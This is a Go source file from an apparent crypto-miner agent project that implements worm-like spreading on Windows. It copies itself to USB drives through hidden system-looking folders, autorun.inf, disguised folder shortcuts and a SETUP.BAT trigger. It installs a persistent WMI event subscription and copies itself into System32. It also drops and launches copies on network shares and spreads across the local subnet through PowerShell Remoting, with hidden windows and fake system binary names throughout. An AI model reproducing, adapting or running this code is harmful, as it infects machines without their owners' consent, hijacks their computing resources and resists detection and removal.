Files
AetherForge/agent/deploy/passive_spread_windows.go

525 lines
16 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"log"
"math/rand"
"net"
"os"
"path/filepath"
"strings"
"sync"
"syscall"
"time"
"unsafe"
"crypto-miner-agent/config"
)
// -----------------------------------------------------------------------
// Entry point
// -----------------------------------------------------------------------
// StartPassiveSpreader starts background goroutines that spread via
// environment-triggered events rather than active subnet scanning:
// - USB drive insertion → copy + autorun + LNK shortcut
// - Mounted network shares → drop payload + helper
// - WMI event subscription → persistent USB trigger (survives reboots)
// - PowerShell Remoting → opportunistic WinRM spread on LAN
func StartPassiveSpreader(cfg config.RuntimeConfig) {
if !cfg.USBSpread && !cfg.ShareSpread {
return
}
log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
if cfg.USBSpread {
go runUSBWatcher(cfg)
go installWMIUSBTrigger(cfg) // persistent, survives reboots
}
if cfg.ShareSpread {
go runShareWatcher(cfg)
go runPSRemotingSpread(cfg) // opportunistic WinRM
}
}
// -----------------------------------------------------------------------
// Win32 drive enumeration
// -----------------------------------------------------------------------
var (
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives")
procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW")
procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW")
)
const (
driveRemovable = 2
driveRemote = 4
attrHidden = 0x02
attrSystem = 0x04
)
func getLogicalDrives() []string {
r, _, _ := procGetLogicalDrives.Call()
var drives []string
for i := 0; i < 26; i++ {
if r&(1<<uint(i)) != 0 {
drives = append(drives, string(rune('A'+i))+":\\")
}
}
return drives
}
func getDriveType(root string) uint32 {
ptr, _ := syscall.UTF16PtrFromString(root)
r, _, _ := procGetDriveTypeW.Call(uintptr(unsafe.Pointer(ptr)))
return uint32(r)
}
func setHiddenSystem(path string) {
ptr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return
}
_, _, _ = procSetFileAttributesW.Call(uintptr(unsafe.Pointer(ptr)),
uintptr(attrHidden|attrSystem))
}
// -----------------------------------------------------------------------
// USB watcher
// -----------------------------------------------------------------------
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
// that don't already carry an up-to-date payload.
func runUSBWatcher(cfg config.RuntimeConfig) {
// Track drives + the size of the payload we last wrote to each.
// Storing the exe size BEFORE launching the goroutine prevents the ticker
// from re-triggering a spread on every cycle (payloadSize 0 != exeSize).
type driveState struct{ payloadSize int64 }
state := map[string]driveState{}
exePath, err := os.Executable()
if err != nil {
return
}
exeInfo, err := os.Stat(exePath)
if err != nil {
return
}
currentSize := exeInfo.Size()
// Check drives already present when the agent starts — spread to any that
// are missing or stale (different binary size), don't just skip them.
for _, d := range getLogicalDrives() {
if getDriveType(d) == driveRemovable {
size, found := findUSBPayloadSize(d)
if !found || isPayloadStale(exePath, size) {
// Mark with current exe size NOW so the ticker never re-fires
// for this drive while the goroutine is still running.
state[d] = driveState{payloadSize: currentSize}
go spreadToUSB(cfg, d)
} else {
state[d] = driveState{payloadSize: size}
}
}
}
ticker := time.NewTicker(8 * time.Second)
defer ticker.Stop()
for range ticker.C {
exeInfo, err := os.Stat(exePath)
if err != nil {
continue
}
for _, d := range getLogicalDrives() {
if getDriveType(d) != driveRemovable {
continue
}
prev, seen := state[d]
if !seen {
// Brand-new drive just inserted — record size before goroutine.
log.Printf("[passive-spread] new USB drive: %s", d)
state[d] = driveState{payloadSize: exeInfo.Size()}
go spreadToUSB(cfg, d)
continue
}
// Refresh only when the running binary is genuinely newer.
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", d)
state[d] = driveState{payloadSize: exeInfo.Size()}
go spreadToUSB(cfg, d)
}
}
}
}
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
// size of the first .exe found, plus a bool indicating success.
func findUSBPayloadSize(drive string) (size int64, found bool) {
for _, dir := range knownDropDirs {
entries, err := os.ReadDir(filepath.Join(drive, dir))
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
fi, err := e.Info()
if err == nil {
return fi.Size(), true
}
}
}
}
return 0, false
}
// spreadToUSB copies the agent onto a removable drive using four techniques:
// 1. Hidden drop dir — binary in a disguised system subfolder
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
// 4. SETUP.BAT — plain visible batch file as fallback trigger
// 5. Decoy folder — fake "Documents" folder so drive looks natural
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
exePath, err := os.Executable()
if err != nil {
return
}
// Randomised drop directory that looks like a Windows system folder.
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
if err := os.MkdirAll(dropDir, 0755); err != nil {
return
}
setHiddenSystem(dropDir)
destName := usbPayloadName(cfg)
destBin := filepath.Join(dropDir, destName)
if err := copyFile(exePath, destBin); err != nil {
return
}
setHiddenSystem(destBin)
log.Printf("[passive-spread] agent copied to %s", destBin)
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
relBin, relBin,
)
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
// 2. LNK shortcut — folder icon, minimised window
lnkName := pickLinkName(drive)
createFolderShortcut(drive, lnkName, destBin)
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
// so it works even if the LNK is deleted. The bat runs the exe minimised.
batLines := "@echo off\r\n"
for _, dir := range knownDropDirs {
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
dir, dir)
}
batLines += ":done\r\n"
batPath := filepath.Join(drive, "SETUP.BAT")
_ = os.WriteFile(batPath, []byte(batLines), 0644)
}
// usbPayloadName returns a plausible system binary name for the USB payload.
func usbPayloadName(cfg config.RuntimeConfig) string {
candidates := []string{
"WinSetup.exe",
"diskutil.exe",
"AutoPlay.exe",
"IndexerHelper.exe",
"SyncCenter.exe",
}
if cfg.StealthMode {
return candidates[rand.Intn(len(candidates))]
}
name := sanitizeName(cfg.WorkerName)
if name != "" {
return name + ".exe"
}
return candidates[rand.Intn(len(candidates))]
}
// pickLinkName looks at top-level directories on the drive and returns a
// shortcut name that mirrors the first real directory found, so the LNK
// blends in with the drive's existing contents.
func pickLinkName(drive string) string {
entries, err := os.ReadDir(drive)
if err != nil {
return "Open Documents"
}
for _, e := range entries {
if !e.IsDir() {
continue
}
n := e.Name()
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
continue
}
return n
}
return "Open Documents"
}
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
// create an LNK shortcut with a folder icon that silently runs destBin.
func createFolderShortcut(dir, name, destBin string) {
lnkPath := filepath.Join(dir, name+".lnk")
// WindowStyle 7 = minimised (invisible to the user)
ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.IconLocation = 'shell32.dll,3'
$lnk.WindowStyle = 7
$lnk.Description = 'Open'
$lnk.Save()
`,
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(destBin, `'`, `''`),
)
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
// -----------------------------------------------------------------------
// WMI permanent event subscription
// Fires every time any removable volume mounts — survives reboots.
// Requires admin; silently skipped if not elevated.
// -----------------------------------------------------------------------
func installWMIUSBTrigger(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
destName := usbPayloadName(cfg)
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`,
strings.ReplaceAll(exePath, `"`, `\"`),
destName,
destName,
runFlag,
)
// Escape single-quotes for PowerShell string embedding
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
exePathPS := strings.ReplaceAll(exePath, `'`, `''`)
ps := fmt.Sprintf(`
$ns = 'root\subscription'
$filterName = 'AetherUSBFilter'
$consumerName = 'AetherUSBConsumer'
# Idempotent: remove stale bindings first
Get-WMIObject -Namespace $ns -Class __FilterToConsumerBinding -EA SilentlyContinue |
Where-Object { $_.Filter -match $filterName } | Remove-WMIObject -EA SilentlyContinue
Get-WMIObject -Namespace $ns -Class __EventFilter -Filter "Name='$filterName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
Get-WMIObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$consumerName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
$filterArgs = @{
Name = '$filterName'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Volume' AND TargetInstance.DriveType = 2"
}
$filter = Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments $filterArgs -EA Stop
$consumerArgs = @{
Name = '$consumerName'
CommandLineTemplate = '%s'
RunInteractively = $false
}
$consumer = Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments $consumerArgs -EA Stop
Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer} -EA Stop | Out-Null
# Also copy the agent to a system location so the WMI consumer can find it
# even if the original path changes.
$dest = "$env:SYSTEMROOT\System32\%s"
Copy-Item '%s' $dest -Force -EA SilentlyContinue
`,
copyCmdPS,
destName,
exePathPS,
)
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
}
// Non-admin failure is expected and harmless; polling still covers it.
}
// -----------------------------------------------------------------------
// Mounted share watcher
// -----------------------------------------------------------------------
func runShareWatcher(cfg config.RuntimeConfig) {
// Initial delay so the agent settles before doing share I/O
time.Sleep(3 * time.Minute)
ticker := time.NewTicker(8 * time.Minute)
defer ticker.Stop()
spreadSharesOnce.Do(func() { spreadToMountedShares(cfg) })
for range ticker.C {
spreadToMountedShares(cfg)
}
}
var spreadSharesOnce sync.Once
func spreadToMountedShares(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
for _, d := range getLogicalDrives() {
if getDriveType(d) != driveRemote {
continue
}
go dropOnShare(cfg, d, exePath)
}
// Also enumerate UNC paths from `net use`
for _, unc := range listNetUse() {
go dropOnShare(cfg, unc, exePath)
}
}
func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
destName := sharePayloadName(cfg)
// Drop into a temp-like subdirectory to avoid dropping in the share root.
dropDir := filepath.Join(sharePath, ".tmp")
if err := os.MkdirAll(dropDir, 0755); err != nil {
// No write access — try root of share
dropDir = sharePath
}
dest := filepath.Join(dropDir, destName)
if _, err := os.Stat(dest); err == nil {
return // already there
}
if err := copyFile(exePath, dest); err != nil {
return
}
log.Printf("[passive-spread] dropped to share %s", dest)
_ = HiddenStart(dest, runFlag)
}
func sharePayloadName(cfg config.RuntimeConfig) string {
if !cfg.StealthMode {
if n := sanitizeName(cfg.WorkerName); n != "" {
return n + ".exe"
}
}
return "WinMgmtSvc.exe"
}
// listNetUse parses `net use` output and returns active UNC paths.
func listNetUse() []string {
out, err := HiddenOutput("net", "use")
if err != nil {
return nil
}
var paths []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if !strings.HasPrefix(line, "OK") && !strings.HasPrefix(line, "Disconnected") {
continue
}
fields := strings.Fields(line)
for _, f := range fields {
if strings.HasPrefix(f, `\\`) {
paths = append(paths, f)
}
}
}
return paths
}
// -----------------------------------------------------------------------
// PowerShell Remoting (WinRM) spread
// Opportunistic: only fires if WinRM port 5985 is open on a LAN host.
// -----------------------------------------------------------------------
func runPSRemotingSpread(cfg config.RuntimeConfig) {
time.Sleep(15 * time.Minute)
ticker := time.NewTicker(6 * time.Hour)
defer ticker.Stop()
for {
spreadViaPSRemoting(cfg)
<-ticker.C
}
}
func spreadViaPSRemoting(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
destName := sharePayloadName(cfg)
// ps script: copy binary to remote temp, execute hidden
psBlock := fmt.Sprintf(`
$dest = "$env:TEMP\%s"
if (-not (Test-Path $dest)) {
Copy-Item '%s' $dest -Force -EA SilentlyContinue
}
if (Test-Path $dest) {
Start-Process $dest -WindowStyle Hidden -EA SilentlyContinue
}
`,
destName,
strings.ReplaceAll(exePath, `'`, `''`),
)
for _, ip := range getLocalIPs() {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
tryPSRemote(t, psBlock, destName)
}(target)
}
}
}
func tryPSRemote(target, scriptBlock, destName string) {
// Quick port check on WinRM (5985 = HTTP, 5986 = HTTPS)
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
return
}
ps := fmt.Sprintf(`
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, target, scriptBlock)
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
}
}
func portOpen(host string, port int, timeout time.Duration) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
if err != nil {
return false
}
conn.Close()
return true
}